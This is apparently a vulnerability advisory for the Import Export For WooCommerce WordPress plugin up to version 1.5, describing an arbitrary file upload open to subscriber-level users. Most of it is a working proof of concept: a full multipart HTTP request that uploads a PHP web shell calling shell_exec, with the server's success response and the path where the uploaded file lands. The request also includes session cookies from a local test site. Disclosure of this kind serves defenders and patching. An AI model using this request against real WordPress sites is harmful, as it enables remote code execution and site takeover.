
Import Export For WooCommerce <= 1.5 - Authenticated (Subscriber+) Arbitrary File Upload
Import Export For WooCommerce <= 1.5 - Authenticated (Subscriber+) Arbitrary File Upload
The Import Export For WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 1.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
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POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Cookie: wordpress_sec_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1734790221%7CenzNuyQN6cnP5g8Bmw6ZVil29WJCzcIc1bx3Z10l32r%7C31038bfa66d0777c50fba66263f613d288a20d1e14dfc0fc06903f77d1c9e41f; popup_time=2; alwaysStrip=1; _ga=GA1.2.1953252658.1732269795; _ga_16PD6PV48S=GS1.2.1732269795.1.0.1732270283.0.0.0; wp-settings-time-1=1734520301; wp-settings-1=libraryContent%3Dbrowse; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1734790221%7CenzNuyQN6cnP5g8Bmw6ZVil29WJCzcIc1bx3Z10l32r%7C987ff9134b881efe3cced2fa12593fd0ba5b2b02613fb93f48433b112015551a; PHPSESSID=49f0a4bfb294cad31ed4a83ede9bf485; tk_ai=zv7IX5yQT%2F6RzXuKQwqmMvEV; tk_qs=
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://wp-dev.ddev.site/wp-admin/admin.php?page=sn-wie-products&tab=import
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------22553230142285543514464898073
Content-Length: 1149
Origin: https://wp-dev.ddev.site
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="action"
sn_wie_upload_product_csv_file
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="upload_type"
file_upload
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: text/php
<?php shell_exec(id); ?>
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="upload_url"
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="import_columns"
all
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="product_operation"
create_new_update_existing
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="product_search_type"
SKU
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="field_separator"
-----------------------------22553230142285543514464898073--
{"status":true,"code":104,"message":"Success","data":{"file_name":"import_manual_1734619267.php","total_requests":0,"import_columns":"all","product_search_type":"SKU","product_operation":"create_new_update_existing","field_separator":","}}
wp-content/uploads/import-export-for-woocommerce/product/import_manual_1734619267.php